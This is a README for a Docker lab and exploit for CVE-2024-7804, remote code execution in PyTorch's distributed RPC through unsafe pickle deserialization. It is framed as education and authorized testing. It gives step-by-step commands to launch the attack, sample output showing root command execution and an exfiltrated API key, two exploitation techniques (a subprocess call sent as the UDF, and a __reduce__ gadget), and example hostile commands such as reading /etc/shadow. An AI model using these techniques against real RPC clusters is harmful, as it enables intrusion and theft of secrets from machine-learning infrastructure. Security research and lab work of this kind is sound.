
Self-contained Docker lab and Python exploit demonstrating CVE-2024-7804, a critical RCE in PyTorch's distributed RPC via unsafe pickle deserialization (CWE-502). Includes two exploitation techniques and remediation guidance.
Self-contained lab + exploit for CVE-2024-7804: remote code execution in
PyTorch's distributed RPC framework (torch.distributed.rpc) through unsafe
deserialization of untrusted data (CWE-502).
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()Note: this advisory was later withdrawn/rejected by the maintainers and Red Hat as "known functionality" — PyTorch RPC is by design a trusted-peer system. The lab is still an accurate, hands-on demonstration of the reported issue.
Every RPC call ships a PythonUDF namedtuple (, , ). On the
receiving node it is rebuilt with a , with no allowlist
and no integrity check:
funcargskwargspickle.Unpickler# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- attacker-controlled pickle
...
Any peer that can join the RPC "world" can therefore make the node run arbitrary
code — either via a pickle __reduce__ gadget that fires during load(), or
simply by naming any importable callable as the UDF, since nothing restricts what
the node will execute.
CVE-2024-7804/
├── docker-compose.yml # victim + attacker on one bridge network
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — the vulnerable image
│ └── server.py # victim: a trusting RPC worker that waits for peers
└── exploit/
└── exploit.py # attacker: joins the world and lands RCE on the victim
Docker with the Compose plugin. CPU-only (no GPU), works on amd64 and arm64.
# 1. Start the vulnerable victim node (rank 0, waits for a peer)
docker compose up --build -d victim
# 2. Fire the exploit (default: run a command on the victim and get its stdout back)
docker compose run --rm attacker
# 3. Tear everything down
docker compose down
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====
The attacker executed commands as root on the victim and exfiltrated a file it was never meant to expose.
| Command | What it shows |
|---|---|
docker compose run --rm attacker | Sends subprocess.check_output as the UDF. The victim runs the command and returns its stdout — RCE and exfiltration in one call. |
docker compose run --rm attacker python exploit.py --reduce | Sends an object whose __reduce__ runs os.system while the victim unpickles the payload — RCE at deserialization time (the essence of CWE-502), before the UDF is even called. |
Custom command:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
For --reduce, the command runs on the victim, so watch it there:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # the output appears in the VICTIM's log
The victim log for --reduce ends with a traceback at
torch/distributed/rpc/internal.py, line ~207 (python_udf.func(...)) — proof the
payload was already reconstructed and executed by the unsafe unpickler.
29500) to untrusted networks.For education and authorized security testing only. The lab is intentionally vulnerable — do not deploy it, and only run the exploit against this lab.